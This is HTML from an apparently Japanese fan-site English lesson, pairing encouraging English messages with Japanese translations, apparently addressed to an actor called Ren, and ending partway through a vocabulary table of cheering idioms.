<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_blonde_pony_tail_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe5f9"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffe5f9"></span><span class="vk_balloon_content_after "></span>
<p><strong>I am impressed by seeing you acting.</strong><br>お芝居してる姿素敵よ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_teenager_ear_piercing-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f3e3fe"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f3e3fe transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Everything’s gonna be alright!</strong><br>何もかもがうまくいくよ！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_teenager_handsome-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d5eaff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #d5eaff"></span><span class="vk_balloon_content_after "></span>
<p><strong>I hope you will have good results.</strong><br>良い結果につながるといいね</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people._avatar_man_male_teenager_user_-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ecffcc"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ecffcc transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I&#8217;m always here to cheer you up!</strong><br>いつも応援しているよ！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_young_female_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f5e1fe"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #f5e1fe"></span><span class="vk_balloon_content_after "></span>
<p><strong>Don’t worry! Trust yourself!</strong><br>大丈夫！自分を信じて！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_young_face-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e6ffe4"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e6ffe4 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m sure you’ll do well.</strong><br>君ならやれるって信じてるよ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/male_adult_manager_people_man_boss_avatar-128-2.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#cddeff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #cddeff"></span><span class="vk_balloon_content_after "></span>
<p><strong>You can do it, Ren!</strong><br>蓮ならできるよ！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ponytail_people_woman_teenager_avatar_cute-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff1d3"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff1d3 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>You’ll do fine.</strong><br>大丈夫、うまくいくわ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_beautiful_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe6e6"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffe6e6"></span><span class="vk_balloon_content_after "></span>
<p><strong>I would do anything to make you smile.</strong><br>あなたを笑顔にするためならなんでもするよ！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/glasses_businessman_people_male_man_avatar_leader-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d8eeff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #d8eeff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Don’t give up, Ren!</strong><br>蓮、あきらめないで！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ponytail_people_woman_teenager_avatar_female-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f0fffe"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #f0fffe"></span><span class="vk_balloon_content_after "></span>
<p><strong>Hang in there!</strong><br>負けないで！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_female_people_woman_teenager_avatar_2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#eae8ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #eae8ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Believe in yourself！</strong><br>自分を信じて！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ginger_glasses_people_woman_teenager_avatar-2-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff8e2"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #fff8e2"></span><span class="vk_balloon_content_after "></span>
<p><strong>May Lady Luck smile on Meme</strong>!<br>幸運の女神はめめに微笑みますように！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_female_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fde2fb"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fde2fb transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>May your dreams come true!</strong><br>あなたの夢が叶いますように！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ponytail_people_woman_teenager_avatar_portrait-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe0e8"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffe0e8"></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m on your side！</strong><br>私はあなたの味方だよ!</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/glasses_businessman_people_male_man_avatar_leader-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#daf2ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #daf2ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>We’ll always support you.</strong><br>いつも応援しているよ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/dog-300x300-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>I admire the way you are studying！</strong><br>頑張っている姿憧れます！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ponytail_people_woman_teenager_avatar_cute-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe3d3"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffe3d3 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Go for it！</strong><br>頑張れー！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_young_female_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f0e0ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #f0e0ff"></span><span class="vk_balloon_content_after "></span>
<p><strong>Take care and good luck with shooting of “Shogun 2”!</strong><br>賀田に気をつけて将軍２の撮影頑張ってね！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_beautiful_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe4eb"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffe4eb transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>The darkest hour is just before the dawn.</strong><br>夜明け前が一番暗いのよ（[諺]雨垂れ石をうがつ）</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_teenager_handsome_1-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fcffd0"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #fcffd0"></span><span class="vk_balloon_content_after "></span>
<p><strong>Every night comes to an end, Ren.</strong><br>蓮、明けない夜はないんだよ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_bobtay_people_woman_teenager_avatar_smiley-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffefc2"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffefc2 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Constant dripping wears down the stone.</strong><br>努力すればいつかは報われるよ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/SHOTA_R.jpg?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e3f4ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #e3f4ff"></span><span class="vk_balloon_content_after "></span>
<p><strong>Don’t push yourself too hard.</strong><br>無理しないようにね</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_young_female_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f9d5d5"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f9d5d5 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Your efforts will definitely pay off!</strong><br>努力は必ず報われるよ！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_teenager_handsome-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d5f6e9"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #d5f6e9"></span><span class="vk_balloon_content_after "></span>
<p><strong>What doesn’t kill you makes you stronger!</strong><br>悔しさはあなたをもっと強くさせるよ！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_hat_ear_piercing-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f0e0ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f0e0ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I want to see the most glorious view from top with you, Meme!</strong><br>めめ、最高の景色を一緒にみようね！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_female_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffeddd"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffeddd"></span><span class="vk_balloon_content_after "></span>
<p><strong>Don’t be so hard on yourself, Ren!</strong><br>自分を責めないでね、目黒くん！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_man_afro_african_avatar_male_teenager-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d9e4ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #d9e4ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>We are always rooting /supporting for you!</strong><br>いつも応援してるよ！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_female_young_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffedfd"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffedfd"></span><span class="vk_balloon_content_after "></span>
<p><strong>Thank you for coming into this world!</strong><br>生まれてきてくれてありがとう</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/glasses_businessman_people_male_man_avatar_leader-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ecfae1"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ecfae1 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Thank you for bringing me happiness.</strong><br>幸せをありがとう！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ginger_curly_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fbebf5"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #fbebf5"></span><span class="vk_balloon_content_after "></span>
<p><strong>Thanks for posting cool pics on IG from Canada!</strong><br>カナダから素敵な写真をインスタにアップしてくれてありがとう！</p>
</div></div></div>


<table style="height: 1026px; width: 100%; border-collapse: collapse; border-color: #f6c2cb; border-style: dotted; background-color: #ffffff;">
<tbody>
<tr style="border-style: dotted; border-color: #f6c2cb; background-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>単語・イディオム</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>意味・解説</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>cheer someone on</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を応援する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>support someone</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を支援する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>give someone a shout out</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜にエールを送る</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>cheer someone on</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を応援する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>send cheers to</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜にエールを送る</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>Good luck!</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">幸運を祈ります！</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>keep something up</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜の調子を保つ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>do one’s best</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜のベストを尽くす</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>effort</strong></td>
<td style="width: 62.9762%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">努力</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 20px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>reward</strong></td>
<td style="width: 62.9762%; height: 20px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜が報われる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>anxiety</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">不安</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>proof </strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">証拠</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be impressed by</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">～に感動する、～に深く印象付けられる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>result</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">結果</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>cheer up</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を元気づける</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>give up</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を諦める</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>hang in there</strong></td>
